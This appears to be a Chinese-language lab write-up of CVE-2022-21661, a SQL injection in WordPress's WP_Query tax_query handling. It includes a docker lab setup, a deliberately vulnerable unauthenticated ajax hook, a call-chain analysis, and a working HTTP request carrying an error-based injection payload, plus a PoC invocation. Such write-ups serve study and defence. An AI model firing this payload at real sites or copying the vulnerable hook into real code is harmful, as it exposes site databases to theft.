漏洞介绍

WordPress是一个用PHP编写的免费开源内容管理系统,由于clean_query函数的校验不当,导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。这已经在WordPress5.8.3中进行了修复。影响版本可以追溯到3.7.37

漏洞范围

WordPress <= 5.8.2

靶场配置

docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
version: '3.8'

services:
db:
image: mysql:5.7
container_name: wordpress_db
environment:
MYSQL_ROOT_PASSWORD: root_password
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress_user
MYSQL_PASSWORD: wordpress_password
volumes:
- db_data:/var/lib/mysql
networks:
- wordpress_network

wordpress:
image: wordpress:5.8.2
container_name: wordpress_app
depends_on:
- db
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_NAME: wordpress
WORDPRESS_DB_USER: wordpress_user
WORDPRESS_DB_PASSWORD: wordpress_password
WORDPRESS_DEBUG: "true"
volumes:
- wordpress_data:/var/www/html
- ./functions.php:/var/www/html/wp-includes/functions.php
networks:
- wordpress_network

volumes:
db_data:
wordpress_data:

networks:
wordpress_network:

其中需要替换functions.php,或者在原来的functions.php的第642行加上

1
2
3
4
5
6
7
function wp_query_test(){
$c=stripslashes($_POST['data']);
$d = json_decode($c, true);
$wp=new WP_Query($d);
wp_die();
}
add_action('wp_ajax_nopriv_test','wp_query_test',1);

漏洞原理

在分析整个漏洞之前,首先可以看一下如果想要触发该漏洞,漏洞代码应该是什么样子的。

1
new WP_Query($_POST['query_vars'])

这也就是说,传入WP_Query的参数如果可控的话,就可以利用该漏洞。接下来我们看看整个漏洞的利用调用链:

1
2
3
4
5
6
7
8
WP_Query::__construct
WP_Query::query
WP_Query::get_posts
WP_Tax_Query::get_sql
WP_Tax_Query::get_sql_clauses
WP_Tax_Query::get_sql_for_query
WP_Tax_Query::get_sql_for_clause
WP_Tax_Query::clean_query

根据官方的修复代码,最后的漏洞点位于WP_Tax_Queryclean_query方法:

img

函数clean_query是从 调用的get_sql_for_clause。阅读该函数的代码会发现,该函数的工作是为 SQL 查询中的条件创建子句,具体来说,它的工作是处理接收到的数据,将这些数据组合成 SQL 查询中的条件。将其返回给父函数。所以我们可以控制这个函数的返回数据,也就是说我们可以控制SQL查询,进行SQL注入。

img

wordpress/wp-includes/class-wp-tax-query.php#L383-L483

回到函数clean_query,当这个改动没有做的时候,默认情况下$query['terms']只会删除in的值,然后再调用到$this->transform_query( $query, 'term_taxonomy_id' );

为了避免下降if,它$query['taxonomy']需要为空或is_taxonomy_hierarchical返回false的值。

img

wordpress/wp-includes/class-wp-tax-query.php#L559

该函数transform_query将检查$query['field'] == $resulting_field,如果为真,则返回并且不做进一步处理,因此如果变量$query['field']term_taxonomy_id,我们可以退出函数而不更改变量值$query['terms']

img

wordpress/wp-includes/class-wp-tax-query.php#L598-L600

函数逃逸后,返回原位的代码流会调用clean_query函数get_sql_for_clause,变量的值$query['terms']会直接作为SQL查询条件,导致SQL注入。

利用链

1
2
3
4
5
6
7
8
WP_Query#__construct
WP_Query#query
WP_Query#get_posts
WP_Tax_Query#get_sql
WP_Tax_Query#get_sql_clauses
WP_Tax_Query#get_sql_for_query
WP_Tax_Query#get_sql_for_clause

主要参数$query只需要满足以下2个条件,就可以触发SQL注入漏洞:

  • $query['include_children']取值为false(或者is_taxonomy_hierarchical($query['taxonomy'])取值为false);
  • $query['field']取值为term_taxonomy_id

虽然这是wordpress核心的bug,但是wordpress核心的复用方式并不能触发错误,在插件和主题中会自动转向错误方向。WP_Query当你要查询数据库时,插件/主题会调用该类,从源代码中识别错误的方法是在使用时WP_Query($data)和 $data 是可控的。

漏洞复现

http://your-ip:8080/wp-admin/admin-ajax.php发送数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.159.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.159.132:8080/wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 194
Origin: http://192.168.159.132:8080
Connection: keep-alive
Cookie: metabase.DEVICE=73adc563-574f-453b-a9ff-1781ff8c9ad0
Upgrade-Insecure-Requests: 1
Priority: u=0, i

action=test&data={"tax_query":[{"field":"term_taxonomy_id","terms":["1) and extractvalue(rand(),concat(0x3a,version()))-- a"]}]}

image-20241112204833741

使用github上的poc

1
poc.exe -h your-ip:8080

image-20241112205005099

参考

CVE-2022-21661漏洞复现-CSDN博客

WordPress SQL 注入漏洞(CVE-2022-21661 分析与复现) - FreeBuf网络安全行业门户

【POC】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞-POC - komomon - 博客园 (cnblogs.com)

【漏洞分析】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现 - komomon - 博客园 (cnblogs.com)